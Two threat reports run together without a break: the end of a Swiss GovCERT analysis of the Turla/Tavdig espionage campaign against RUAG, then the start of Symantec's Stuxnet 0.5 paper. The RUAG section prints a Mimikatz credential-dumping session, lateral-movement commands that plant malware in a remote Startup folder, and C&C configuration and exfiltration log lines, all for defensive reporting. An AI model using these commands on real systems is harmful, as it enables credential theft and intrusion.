Binary multiplication is a bit tricky and mainly works by scanning the bits from right to left in one operand, while the other operand is shifted left at each step and added to the factor (initialized with 0) whenever the scan hits a 1 - like we learned to multiply on paper at school.
Now lets have a look into Tavdigs implementation (only the relevant part of the function is shown here): Figure 12: Multiplication of Two 1024 Bit Integers Inside a Finite Field One thing that can immediately be seen is the presence of MODULUS in the code.
This is the large prime number defining the field.
It is more efficient to take every intermediate result modulus this prime, i.e.
to subtract the prime as many times as possible, because adding and subtracting the prime results in identical elements of the field but smaller values result in faster execution, so the code always tries to keep the smallest value possible.
Note that the function BigCmpToModulus returns 1, if the value is larger than the modulus, which means that the modulus can be subtracted to normalize the value (only one such step is required here, see below).
Unusual is the fact that the modulus is not passed as an argument, but is hardcoded.
This speaks against the usage of a generic library.
However, the use of C templates can also show this behavior, so a source code based library is still a possibility.
MODUS OPERANDI 18 / 32 https://en.wikipedia.org/wiki/Binary_multiplier MELANI:GovCERT TLP WHITE In the code, the scanning through the different bits in the first operand mult1 is seen in the do loop.
We then see the addition of the second operand toMult to the factor value, which was previously initialized to 0.
However, toMult is at no place shifted to the left, as would usually be the case.
Instead, factor is divided by 2 at every step - one could say, the sum is shifted one bit to the right instead.
This division by 2 has an interesting implementation.
With factor[0]  1, the code checks if factor is odd.
Naturally, dividing an odd number by 2 does not work well, if it is an integer but it actually is an element of a finite field, and these can be represented by many different integers by adding the modulus as many times as we like: the modulus represents the additive neutral of the field, actually its another representation of 0.
If the integer we want to divide by 2 is odd, we just add the modulus one time.
Because the modulus is a prime number and hence odd, the resulting integer is an even number (odd plus odd is always even), while still representing the same element of the field.
The subsequent division by 2 can now be done using a simple bit shift to the right.
This is how division by 2 is implemented in a finite field.
The main advantage of this approach is that the bit width of factor is never larger than 1025 (10241), while in the standard implementation, the factor can grow up to 2048 bits.
In the traditional approach, the multiplication would have to be done in a 2048 bit target, and this value would have to be taken modulus the prime number afterwards - this time in a far more complex way, one subtraction would not suffice.
By not shifting the values to be added to the left every time, but instead shifting the result to the right (inside the finite field), the modulus action is implicitly performed at every step implicitly.
This is a quite elegant approach, but it requires the multiplication function to be aware of the finite field.
So this function is not just a big int function, but a field-aware big-int multiplication function.
The downside is that, after all 1024 bits are processed, factor was divided by two 1024 times, so the result is too small (which mathematically is the wrong term inside the field, but we use it as an analogy): instead of ab, the value ab/(21024) is returned.
To fix this problem, Tavdig uses a particular code to calculate a corrector value: Figure 13: Calculation of the 1024 Bit Multiplication Corrector Inside a Finite Field The corrector is initialized to 1 (not shown in the above screenshot), and is then multiplied with two 2048 times (twice the value of 1024).
So, the final result is 22048.
Because were operating in a field, this value can be normalized to the modulus.
Now, after each multiplication, another multiplication with this corrector is required to fix the fact that the original multiplication returned a too small value.
Because this second correction multiplication itself uses the same multiplication function returning too small values, the corrector needs to fix for both multiplications errors.
This is why the corrector fixed for 2048 and not only 1024 right shifts.
This can be seen in the code to calculate a exponentiation algorithm (basepower) inside the field: MODUS OPERANDI 19 / 32 MELANI:GovCERT TLP WHITE Figure 14: Exponentiation of Two 1024 Bit Integers Inside a Finite Field Here we see that every multiplication is immediately followed by a second multiplication with the corrector.
The exponentiation algorithm is rather straightforward: every bit in the power value is scanned, at each step base is multiplied to itself, and whenever a 1 bit is hit, base is multiplied to the result value, which is initialized with 1.
This is the standard binary exponentiation algorithm.
Now all required big number operations are available.
They are used in a final decryption code like this: Figure 15: ElGamal Decryption After the corrector is calculated, the variable minusOneMinusPK is initialized with the modulus (equivalent to 0), the XOR with 1 corresponds with subtracting one (the modulus is a prime and always odd), resulting in the value -1 of the field.
The private key x is subtracted, and - as the comment depicts - coeff base (-1-x) is calculated.
This is basically the ElGamal decryption.
Side note: the weird name minusOneMinusPK was chosen during the reversing process and should help the reverser to remember the variable contains -1 minus private key - finding good names for not yet completely known objects is one of the challenges of reverse engineering, and this sometimes fails or ends in weird names The encrypted data blob is not sent as-is, but base-64 encoded and put into a server response that looks like this: 1 html 2 head 3 titleAuthentication Required/title 4 /head 5 6 body 7 divB2...KD9eg/div 8 /body 9 /html So, the base-64 encoded payload is placed between div and /div and some text placed around.
The trojan ignores the stuff around and only scans for div and /div.
Interestingly, above text is followed by many newlines.
We assume this is done to flush the output if the payload is too small.
MODUS OPERANDI 20 / 32 https://en.wikipedia.org/wiki/ElGamal_encryptionDecryption MELANI:GovCERT TLP WHITE Lateral movement Before the attackers try to make lateral movements, they will do some basic fingerprinting of the system and the environment the infected computer is located in.
For the lateral movement, the attackers use various, public available tools, like: mimikatz.exe for the stealing of credentials pipelist.exe to list named pipes psexec.exe and wmi.exe for remote execution dsquery.exe and dsget.exe to query the Active Directory ShareEnum.exe to enumerate shares Apart from these tools, the attackers use many self-written batch scripts.
They are very patient the lateral movement can take several months.
They repeat these actions regularly in order to keep information accurate and to have always enough credentials.
The harvesting of credentials is done in various ways: Apart from using sniffing tools and key loggers, the attackers rely heavily on the use of Mimikatz.
Mimikatz basically has the following capabilities: Getting plaintext passwords, hashes, and Kerberos tickets out of the memory Extracting certificates and private keys Perform Pass-the-Hash and Pass-the-Ticket attacks.
The attackers used many of these features, until they gained control over the AD by getting the Golden Ticket (krbtgt): 1 .. mimikatz 2.0 alpha (x64) release Kiwi en C (Jun 22 2015 10:30:32) 2 .
.
3  / \  / 4  \ /  Benjamin DELPY gentilkiwi ( benjamingentilkiwi.com ) 5  v  http://blog.gentilkiwi.com/mimikatz (oe.eo) 6  with 16 modules   / 7 8 9 mimikatz(commandline)  privilege::debug 10 Privilege 20 OK 11 12 mimikatz(commandline)  token::elevate 13 Token Id : 0 14 User name : 15 SID name : NT AUTHORITY\SYSTEM 16 144 39822 NT AUTHORITY\SYSTEM ... 17 - Impersonated 18 19 [...Omitted...] 20 21 mimikatz(commandline)  lsadump::lsa /patch 22 Domain 23 RID : User : LM : NTLM : 24 RID : User : LM : NTLM : 25 RID : User : LM : NTLM : 26 : / S-1-5 [...Omitted...] 27 000001f6 (502) krbtgt 28 7d9..08 MODUS OPERANDI 21 / 32 https://github.com/gentilkiwi/mimikatz https://en.wikipedia.org/wiki/Pass_the_hash https://www.blackhat.com/presentations/bh-europe-09/Bouillon/BlackHat-Europe-09-Bouillon-Taming-the-Beast-Kerberous-whitepaper.pdf http://www.slideshare.net/gentilkiwi/abusing-microsoft-kerberos-sorry-you-guys-dont-get-it http://www.slideshare.net/gentilkiwi/abusing-microsoft-kerberos-sorry-you-guys-dont-get-it MELANI:GovCERT TLP WHITE The attackers moved laterally by infecting additional systems.
They used various approaches to do so, one shown below: 1 net use \\COMPUTERNAME\IPC xxxx /user:DOMAIN\USERNAME dir /ON \\COMPUTERNAME\C \ 2 dir /ON \\COMPUTERNAME\C \Users\ 3 dir /ON \\COMPUTERNAME\C \PATHNAME\ 4 dir /ON \\COMPUTERNAME\C \Users\USERNAME\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\StartUp\ 5 copy /Y C:\Users\USERNAME\AppData\Local\Temp\brainware_temp.jpg \\COMPUTERNAME\C \Users\USERNAME\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\StartUp\BrainwareStart.exe 6 dir /ON \\COMPUTERNAME\C \Users\USERNAME\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\StartUp\ 7 net use \\COMPUTERNAME\IPC /delete 8 tasklist /v /s COMPUTERNAME /u DOMAINNAME\USERNAME /p xxxx 9 net use \\COMPUTERNAME\IPC /delete Here, the attackers copied the infection binary to a new bot and executed it from there.
The attackers regularly updated configuration files of the infected bots in order to have always 2 working CC server connections.
1 quantity  1 2 address1  airmax2015.leadingineurope.eu:80:/wp-content/gallery/ 3 4 [CW_INET_RESULTS] 5 quantity  1 6 address1  airmax2015.leadingineurope.eu:80:/wp-content/gallery/ 7 8 [CW_INET] 9 quantity  1 10 address1  porkandmeadmag.com:80:/wp-includes/pomo/js/ 11 12 [CW_INET_RESULTS] 13 quantity  1 14 address1  porkandmeadmag.com:80:/wp-includes/pomo/js/ If a system was of no use anymore, the attackers tried to clean it by deleting the files and stopping the service: 1 rem sc stop srservice 2 sc delete srservice 3 dir /ON C:\Program Files\PATH 4 del /q C:\Program Files\PATH\msximl.dll del /q C:\Program Files\PATH\ximarsh.dll del /q C:\Program Files\PATH\miniport.dat del /q C:\Program Files\PATH\vndkrmn.dic del /q C:\Program Files\PATH\msimghlp.dll del /q C:\windows\system32\srsvc.dll 5 dir /ON C:\Program Files\PATH 6 net use IPC /delete MODUS OPERANDI 22 / 32 MELANI:GovCERT TLP WHITE Data Exfiltration For the internal communication between infected bots inside the RUAG network, a kind of peer-to-peer network (P2P) based on windows named pipes was constructed.
The malware used a botnet hierarchy consisting of worker drones for executing tasks and collecting data, and communication drones for exfiltrating the stolen data out of the network.
Using such a P2P network with a bot hierarchy, the attackers were able to send commands/instructions to infected computers within the RUAG network that were not able to communicate to the Internet directly.
The most common pipe name used for this purpose is COMNAP: This named pipe has once been used by Windows for the communication with the SNA protocol used by IBM mainframes.
Through this named pipe, several commands are exposed to any other peer upon successful passing of the authentication handshake.
The usage of this transport mechanism is configured in the trojan configuration file: 1 [TRANSPORT] 2 system_pipe  comnap 3 spstatus  yes 4 adaptable  no 5 post_fragyes 6 pfsgrowperiod259200 MODUS OPERANDI 23 / 32 http://msdn.microsoft.com/en-us/library/windows/desktop/aa36559028vvs.8529.aspx MELANI:GovCERT TLP WHITE Figure 16: Proxy Tier Topology For the data exfiltration, the attackers used HTTP POST requests, which were initiated by the communica- tion drones: MODUS OPERANDI 24 / 32 MELANI:GovCERT TLP WHITE 1 2016-01-01 00:00:00 hXXp://sampledomain.com/bad.php 200 POST Mozilla/4.0 (compatible MSIE 9.0 Windows NT 6.1 Trident/4.0) Were aware following CC having been used to send tasks and to exfiltrate data.
Please note that most of these servers have been hacked by the attacker and the owners are victims of this actor group as well.
At the time of writing, most of these websites were already cleaned up.
Domain IP AS airmax2015.leadingineurope[.
]eu 5.255.93[.
]228 AS50673 bestattung-eckl[.
]at 195.3.105[.
]50 AS8447 buendnis-depression[.
]at 85.25.120[.
]177 AS8972 deutschland-feuerwerk[.
]de 195.63.103[.
]228 AS12312 digitallaut[.
]at 81.223.14[.
]100 AS6830 porkandmeadmag[.
]com 155.94.65.2 AS19531 salenames[.
]cn 193.26.18.117 AS25537 shdv[.
]de 85.214.40[.
]111 AS6724 smartrip-israel[.
]com 92.53.126.118 AS9123 www.asilocavalsassi[.
]it 94.242.60[.
]104 AS43317 www.millhavenplace.co[.
]uk 217.10.138[.
]233 AS6908 www[.]jagdhornschule[.
]ch 80.74.145[.
]80 AS21069 Figure 17: Command and Control Servers The domains may be found in most proxy or DNS log files since they are legitimate.
If you want to search your logs for this attacker group, please use the full URLs, which youll find in the IOC Appendix.
We made statistics based on the available proxy logs from the RUAG company and could make the following conclusions: During the lateral phase of the attack, not much data has been transferred to the outside, and the amount of requests were small.
Total data exfiltrated: about 23GB.
It is noteworthy that this data contains also beaconing requests to the CC servers.
Also, some data has been exfiltrated more than once, and exfiltrated data was usually compressed.
However, the size of exfiltrated data gives no insight about the confidentiality and the value of the stolen data.
It is not possible to find out what data actually was stolen using proxy logs, because no wiretap was in place before the attack was detected.
We can only make such statements about activities since the wiretap was actually installed - which is one of the motivations for the observation phase.
The amount of exfiltrated data varies strongly during the time period observed.
On one hand, there are large spikes of nearly 1GB in one day, while there are longer periods, when nothing noteworthy seems to have happened.
Another interesting observation is the extended phase of lateral movement: during the first 8 months, not much data has been sent out.
However, it is possible that not all CC servers have been identified.
The most active phases took place from September to December 2015.
The following figure shows the amount of data exfiltrated (once more, these are sizes of compressed data, including repetitions and beaconing requests): MODUS OPERANDI 25 / 32 MELANI:GovCERT TLP WHITE Figure 18: Data Exfiltration by Day There are phases with very few requests we believe that during such phases the attackers did not perform any actions, the requests are most probably merely status messages.
On the other hand, there are very active phases with many requests.
These phases correlate to the amount of data exfiltrated and are a sign of activity of the attacker.
Figure 19: Requests by Day MODUS OPERANDI 26 / 32 MELANI:GovCERT TLP WHITE Recommendations Even though we have no information about other victims in Switzerland, the following information might be valuable in order to prevent and detect such attacks.
Please note that this is not an exhaustive guideline, but rather a collection of ideas and pointers where one might start.
System level There exist a few countermeasures, which make it much more difficult for the attacker to gain an initial foothold.
These measures should be applied to client computers, as well as to servers.
Consider using Applocker, a technique from Microsoft, which allows you to decide, based on GPOs (Group Policy Objects), which binaries are allowed to be executed, and under which paths.
There exist two basic approaches: a blacklisting of certain directories, where no binaries may be executed, and a whitelisting of directories, where only known binaries are allowed.
Even though the whitelisting approach is always the more secure one, it is already an obstacle, if the attacker has no simple way of executing a downloaded binary from a temporary path.
These approaches may also be combined.
Of course there exist many similar tools, which may be used for the same purpose.
Most of the Antivirus companies have extended functionality in addition to the traditional virus detection.
There is often a possibility to restrict certain processes to write in the user home directory.
However, AppLocker is very convenient for most organizations, as it can be controlled using GPOs.
Reduce the privileges a user has when surfing the web or doing normal office tasks.
High privileges may only be used when doing system administration tasks.
This actor, as well as many other actor groups, relies on the usage of normal tools for their lateral movement.
The usage of such tools can be monitored.
E.g.
the start of a tool such as psexec.exe or dsquery.exe from within a normal user context should raise an alarm.
Keep your systems up-to-date and reduce their attack surface as much as possible (e.g.
: Do you really need to have Flash deployed on every system?)
Use write blockers and write protection software for your USB/Firewire devices, or even disable them for all client devices Block the execution of macros, or require signed macros Active Directory As the active directory (AD) is one of the main targets of the attackers and absolutely crucial for any organization, many security precautions must be taken in order to protect its integrity.
We cannot give a full security recommendation on how to protect your AD.
The following pointers should give you some hints on where to begin: Do a close monitoring of AD logs for unusual and large queries from normal clients Use a two-factor authentication throughout your AD, especially for high-privileged accounts Avoid the use of LM/NTLM authentication Do regular AD RAPs if you are a premier customer of Microsoft.
See: AD RAP Network level There are various important points to improve the resilience and detection capability on the network level Use one central and heavily guarded choke point that every packet must pass in the direction of the Internet.
RECOMMENDATIONS 27 / 32 https://services.premier.microsoft.com/assess?Culturede-DECultureAutoDetecttrue MELANI:GovCERT TLP WHITE Any Internet Access should pass a proxy that logs all header information, including cookies.
Servers should only be allowed to make outbound connections on a point-to-point whitelisting Think about internal network segmentation.
Block any direct client-to-client communication.
Use a dedicated management (V)LAN Separate the BYOD (bring your own device) devices from the company clients and servers.
Collect netflow data, not only between networking zones, but internally as well.
Use a classic signature based IDS, such as Snort or Suricata, in addition to commercial solutions.
It gives you the possibility to quickly deploy hand-made detection rules in the case of an intrusion.
Use PassiveDNS to keep all domain queries going to the Internet and make these searchable in a quick and efficient way Dont let your clients resolve external addresses.
Only your proxy should be able to resolve external addresses.
Use split-horizon DNS setups.
Use RPZ (Response Policy Zone) on your DNS servers.
See: RPZ There exist many more possibilities to tighten up the security of your network.
You might e.g.
consider using virtualized desktops or terminal services for Internet surfing.
Log files As we have seen once more, the availability of log files is crucial for the analysis of such incidents.
Long term log archives - 2 years or more are recommended - for crucial gateway systems such as proxy and DNS.
Central log collection, indexing and archiving Continuous log analysis and matching the log files against known IOCs Adapt the log settings to your needs.
E.g.
: logging the user-agent may not be the default setting, but is highly recommendable.
System Management We strongly encourage any organization to separate management from business traffic.
Management of systems should be done from within a separate network using jumphosts.
No Internet access should be given to such management stations.
Authentication must be made using a second factor, such as a smart card or a one time password token.
Additionally, it is important to protect system management tools as well as software and source code reposito- ries as good as possible.
Software packets should be digitally signed and one should always store known-good states on WORM media (Write Once Read Many).
Organization The incident handling must be prepared with clear procedures, responsibilities, and communication strate- gies.
In the case of an incident: Inform your technical team as open as possible, in order to speed up the incident response and avoid unwanted collateral damage.
Have complete and up-to-date inventory of all systems, software and networks.
Establish a tight link between the operational security teams and the risk managers in your organization.
Any security incident is nothing else than a materialized risk.
RECOMMENDATIONS 28 / 32 https://dnsrpz.info/ MELANI:GovCERT TLP WHITE Accept that some risks cannot be dealt with in a preventative way and therefore invest in detection capabilities.
It is important to have good engineers that have a firm understanding of your infrastructure and your business as well.
Have patching procedures in place that allow you deploying an emergency patch within 24h max.
Know your most critical processes and have a continuity plan for those times, when the original process is disturbed.
Conclusion The attack is a very good example of how targeted attacks take place and the impressive patience the attackers show, trying to reach their goals.
Even if we think completely preventing such attacks is very difficult, the goal must be to make them as difficult as possible.
There is a good chance to make the entry point difficult to find, when protecting the clients adequately using tools like Applocker or virtualized browsers.
Even if this does not completely eliminate this kind of threat, the bar is raised for the attacker.
Furthermore, if you observe various failed attack attempts, you actually gain time and insight to monitor the actor and to prepare yourself.
One of the most effective countermeasures from a victims perspective is the sharing of information about such attacks with other organizations, also crossing national borders.
This is why we decided to write a public report about this incident, and this is why we strongly believe to share as much information as possible.
If this done by any affected party, the price for the attacker raises, as he risks to be detected in every network he attacked in different countries.
This forces him to either prioritize his targets more, or to use different malware programs and different CC infrastructures.
Were also sharing information gathered during many hours of analysis and in various cases with our partners These partners are doing the same on their side and are returning findings in their networks.
This is precisely what happened in the RUAG case: it was detected based upon mutual sharing of information.
Were happy to work together with many partner organizations throughout Europe and are grateful for their efforts and the good international cooperation.
Putting all elements together over a long time gives the momentum of action back to the CERTs and CSIRTs, struggling to keep their networks clean and their data safe.
The fact that attackers abuse vulnerable systems for their purpose - no matter if this is for criminal activities or espionage - show the importance and responsibility of every party providing services on the Internet.
There is no such thing as an insignificant systems on the Internet, every server may be abused for attacking others.
This puts great responsibility on everyone, and we hope that this report contributes to increase the security level within every network and server.
We intentionally did not make any attributions in regard who might be behind these attacks.
First, it is nearly impossible to find enough proof for such claims.
Secondly, we think it is not that important, because - unfortunately - many actors use malware and network intrusions for reaching their intentions.
To our belief, nothing justifies such actions, and we support taking steps to ban such attacks instead of accepting them as inevitable.
This is why it is important to talk about such attacks in a purely neutral and technical way, in order to raise awareness and to provide protection.
One of the most interesting aspect of these attacks is the very rich set of strategies applied by the attackers, especially during the lateral movement phase.
Another interesting aspect is the use of this malware over many years, including maintenance and bug fixing - this suggests that it is still considered an asset.
The malware itself is not too complex and - in the RUAG case - without any root kit functionality.
We do believe that the lack of such features does not need to be a disadvantage, as the camouflage is very well-thought, e.g.
by the naming scheme or the communication methods used.
The use of batch jobs and external binaries transferred in the form of tasks to the infected bots allow a very flexible approach.
Even if we consider the attacks to be advanced and dangerous, it should be noted that the attackers have habits and mistakes, allowing the defenders to see them and to initiate appropriate countermeasures.
In order to be able to recognize such habits and mistakes, awareness about such attacks must be high, and CONCLUSION 29 / 32 MELANI:GovCERT TLP WHITE organizations need to have the necessary detection and analysis capabilities.
We would like to emphasize that fighting against such kind of threats cannot be done purely with preventive measures.
The detection capabilities must be fostered, and the security teams need time and resources to search for unusual system behavior.
CONCLUSION 30 / 32 MELANI:GovCERT TLP WHITE Appendix IOCs URLs The following URLs are known to be part of the CC infrastructure of the attacker.
Please note that many of these systems have been hacked and that these domains are perfectly legitimate.
1 airmax2015.leadingineurope[.
]eu/wp-content/gallery/ 2 bestattung-eckl[.
]at/typo3temp/wizard.php 3 buendnis-depression[.
]at/typo3temp/ajaxify-rss.php 4 deutschland-feuerwerk[.
]de/fileadmin/dekoservice/rosefeed.php 5 digitallaut[.
]at/typo3temp/viewpage.php 6 florida4lottery[.
]com/wp-content/languages/index.php 7 porkandmeadmag[.
]com/wp-content/gallery/ 8 salenames[.
]cn/wp-includes/pomo/js/ 9 shdv[.
]de/fileadmin/shdv/Pressemappe/presserss.php 10 smartrip-israel[.
]com/wp-content/gallery/about.php 11 woo.dev.ideefix[.
]net/wp-content/info/ 12 www.asilocavalsassi[.
]it/media/index.php 13 www.ljudochbild[.
]se/wp-includes/category/ 14 www.millhavenplace.co[.
]uk/wp-content/gallery/index.php 15 www[.]jagdhornschule[.
]ch/typo3temp/rss-feed.php MD5 Hashes The following Hashes are Malware Binaries 1 22481e4055d438176e47f1b1164a6bad srsvc.dll 2 68b2695f59d5fb3a94120e996b8fafea srsvc.dll 3 3881a38adb90821366e3d6480e6bc496 ximarsh.dll 4 1d82c90bcb9863949897e3235b20fb8a msximl.dll 5 1a73e08be91bf6bb0edd43008f8338f3 msximl.dll 6 2cfcacd99ab2edcfaf8853a11f5e79d5 ximarsh.dll 7 6b34bf9100c1264faeeb4cb686f7dd41 msximl.dll 8 9f040c8a4db21bfa329b91ec2c5ff299 msimghlp.dll 9 a50d8b078869522f68968b61eeb4e61d msimghlp.dll 10 b849c860dff468cc52ed045aea429afb msimghlp.dll 11 ba860e20c766400eb4fab7f16b6099f6 ximarsh.dll 12 2372e90fc7b4d1ab57c40a2eed9dd050 msssetup.exe APPENDIX IOCS 31 / 32 MELANI:GovCERT TLP WHITE External References Much has been published about this threat, below a few links that give additional insight: https://securelist.com/analysis/publications/65545/the-epic-turla-operation/ http://www.symantec.com/connect/blogs/turla-spying-tool-targets-governments-and-diplomats https://www.circl.lu/pub/tr-25/ https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/waterbug- attack-group.pdf http://www.kaspersky.com/about/news/virus/2014/Unraveling-mysteries-of-Turla-cyber-espionage- campaign http://artemonsecurity.com/uroburos.pdf https://blog.gdatasoftware.com/2015/01/23926-analysis-of-project-cobra http://www.symantec.com/connect/blogs/turla-spying-tool-targets-governments-and-diplomats List of Figures 1 Chronology .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2 2 The Turla Family . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3 3 Attack Phases . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4 4 Chain of Infection .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6 5 Turla Timeline .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
8 6 Tavdig Injection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10 7 Task Format . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
11 8 Botnet Hierarchy . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
13 9 RSA in Carbon-DLL . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
16 10 Symmetric Encryption in Carbon-DLL . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
16 11 1024 Bit Addition .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
17 12 1024 Bit Multiplication . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
18 13 1024 Bit Multiplication Corrector .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
19 14 1024 Bit Exponentiation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
20 15 ElGamal Decryption . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
20 16 Proxy Tier Topology . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
24 17 CC Servers .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
25 18 DataExfiltration . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
26 19 Requests .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
26 LIST OF FIGURES 32 / 32 Summary Introduction The Case The Chronology The Malware Family Modus Operandi Victim Evaluation Infecting Active Infection Trojan Supported Reconnaissance Gaining Information and the Task Format Gaining Final Persistence A Closer Look at the Encryption Algorithms Used in Carbon-DLL and Tavdig Lateral movement Data Exfiltration Recommendations System level Active Directory Network level Log files System Management Organization Conclusion Appendix IOCs URLs MD5 Hashes External References
Security Response Overview In 2010, Symantec reported on a new and highly sophisticated worm called Stuxnet.
This worm became known as the first computer software threat that was used as a cyber-weapon.
The worm was specifically designed to take control over industrial plant machinery and making them operate outside of their safe or normal performance envelope, causing damage in the process.
This was a first in the history of malware.
Clues in the code pointed to other versions of the worm which could potentially perform different actions leaving an open question about Stuxnet and how it came to be.
The wait for the missing link is now over.
Symantec have now discovered an older version of Stuxnet that can answer the questions about the evolution of Stuxnet.
This newly discovered variant has been dissected and analyzed in detail and here is a summary of our key findings: Stuxnet 0.5 is the oldest known Stuxnet version to be analyzed, in the wild as early as November 2007 and in development as early as November 2005.
Stuxnet 0.5 was less aggressive than Stuxnet versions 1.x and only spread through infected Step 7 projects.
Stuxnet 0.5 contains an alternative attack strategy, closing valves within the uranium enrichment facility at Natanz, Iran, which would have caused serious damage to the centrifuges and uranium enrichment system as a whole.
Geoff McDonald, Liam O Murchu, Stephen Doherty, Eric Chien Stuxnet 0.5: The Missing Link Contents Overview ............................................................ 1 Installation and load point ................................ 3 Replication ......................................................... 3 Command-and-control ...................................... 4 Payload ............................................................... 5 Man-in-the-Middle ....................................... 5 Fingerprinting and building DB8061 ................ 6 PLC device attack code ................................ 9 Conclusion........................................................ 12 Appendix A ....................................................... 13 Appendix B ....................................................... 14 Appendix C ....................................................... 15 Appendix D ....................................................... 16 Resources ..........................................................17 Community credits ...........................................17 Version 1.0: February 26, 2013 http://www.symantec.com/security_response/writeup.jsp?docid2010-071400-3123-99 Stuxnet 0.5: The Missing Link Page 2 Security Response Whether Stuxnet 0.5 was successful is unclear, but later versions of Stuxnet were developed using a different development framework, became more aggressive, and employed a different attack strategy that changed the speeds of the centrifuges instead instead suggesting Stuxnet 0.5 did not completely fulfill the attackers goals.
More versions of Stuxnet are known to exist, but have never been recovered.
Evolution Stuxnet 0.5 was submitted to a malware scanning service in November 2007 and could have began operation as early as November 2005.
This version is designed to stop compromising computers on July 4, 2009, and stop communicating with its command-and-control (CC) servers on an earlier date of January 11 that same year.
The compile timestamps found within most of the code appear unreliable and generally are in the range of the year 2001.
Based on an internal version number this version of Stuxnet is 0.5, the earliest known version of the Stuxnet family.
The only method of replication in Stuxnet 0.5 is through infection of Siemens Step 7 project files.
Stuxnet 0.5 does not exploit any Microsoft vulnerabilities, unlike versions 1.x which came later.
There are differences in exploited vulnerabilities and spreading mechanisms between Stuxnet versions.
Table 1 Evolution of Stuxnet versions Version Date Description 0.500 November 3, 2005 CC server registration 0.500 November 15, 2007 Submit date to a public scanning service 0.500 July 4, 2009 Infection stop date 1.001 June 22, 2009 Main binary compile timestamp 1.100 March 1, 2010 Main binary compile timestamp 1.101 April 14, 2010 Main binary compile timestamp 1.x June 24, 2012 Infection stop date Table 2 Evolution of Stuxnet exploits Vulnerability 0.500 1.001 1.100 1.101 Description CVE-2010-3888 X X Task scheduler EOP CVE-2010-2743 X X LoadKeyboardLayout EOP CVE-2010-2729 X X X Print spooler RCE CVE-2008-4250 X X X Windows Server Service RPC RCE CVE-2012-3015 X X X X Step 7 Insecure Library Loading CVE-2010-2772 X X X WinCC default password CVE-2010-2568 X X Shortcut .lnk RCE MS09-025 X NtUserRegisterClassExWow/NtUserMessageCall EOP Table 3 Evolution of Stuxnet replication Replication Technique 0.500 1.001 1.100 1.101 Step 7 project files X X X X USB through Step 7 project files X USB through Autorun X USB through CVE-2010-2568 X X Network shares X X X Windows Server RPC X X X Printer spooler X X X WinCC servers X X X Peer-to-peer updating through mailslots X Peer-to-peer updating through RPC X X X Stuxnet 0.5: The Missing Link Page 3 Security Response Stuxnet 0.5 is partly based on the Flamer platform whereas 1.x versions were based primarily on the Tilded platform.
Over time, the developers appear to have migrated more towards the Tilded platform.
The developers actually re-implemented Flamer-platform components using the Tilded platform in later versions.
Both the Flamer and Tilded platform code bases are different enough to suggest different developers were involved.
Stuxnet 0.5 also contains code to attack the valve systems in a uranium enrichment facility rather than modifying centrifuge speeds, as in versions 1.x of Stuxnet.
Installation and load point Stuxnet 0.5 arrives as an infected Step 7 project archive containing both the s7hkimdb.dll and XR000001.MDX files.
Using the Multiple Siemens SIMATIC Products DLL Loading Arbitrary Code Execution Vulnerability (CVE- 2012-3015), the S7hkimdb.dll file is executed, which then decrypts and injects the main XR00001.MDX Stuxnet binary file into the services.exe process.
Stuxnet is now executing on the system.
Once injected into the services.exe process, a copy of the main Stuxnet binary and a companion DLL that implements the payload are saved to disk in encrypted form along with a MRXCLS.SYS load point driver.
The main Stuxnet binary refers to itself as outbreak.dll and is saved to disk as oem7a.pnf.
The companion DLL that implements the payload refers to itself as installation.dll and saved to disk as oem7w.pnf.
When the system is booted, the MRXCLS.SYS load point driver will decrypt configuration data stored in the registry, decrypt the main Stuxnet binary, and inject it into the Explorer and Step 7 processes.
The payload DLL will be decrypted as well and injected into the Explorer process.
When loading dynamic-link library (DLL) resources, Stuxnet makes use of a module that mimics LoadLibrary rather than calling LoadLibrary itself.
This technique is likely used to avoid security software and was not seen in versions 1.x of Stuxnet.
A second driver, PCIBUS.SYS, is also created which causes a forced reboot by generating a BSoD (Blue Screen of Death) 20 days after installation.
A third driver, USBACC11.SYS, is then installed.
This driver is similar to the MRXCLS.SYS driver, but instead decrypts and injects DLLs for peer-to-peer and CC communication into the svchost.exe and Internet Explorer processes.
The structure and organization as well as resource and export listings of each component is available in Appendix D. Stuxnet 0.5 also checks the current date in a variety of code paths and will not continue to spread after July 4, 2009.
Certain modules may also not be created or loaded if security software is present.
A list is available in Appendix B.
A variety of additional files are created, including log files and configuration files.
A list is available in Appendix A. Replication Stuxnet 0.5 uses one form of replication through Step 7 project archives.
When a removable drive is inserted in an infected system, Stuxnet 0.5 will infect any Step 7 project archives with a .s7p or .zip file name extension on the drive.
In addition, Step 7 project archives on the local disk will also be infected.
Therefore Stuxnet 0.5 spreads to additional machines through removable drives or through human-initiated sharing of infected Step 7 project archives, for example through email.
Stuxnet 0.5 infects Step 7 project archives in the same manner as Stuxnet 1.x versions (as described in W32.
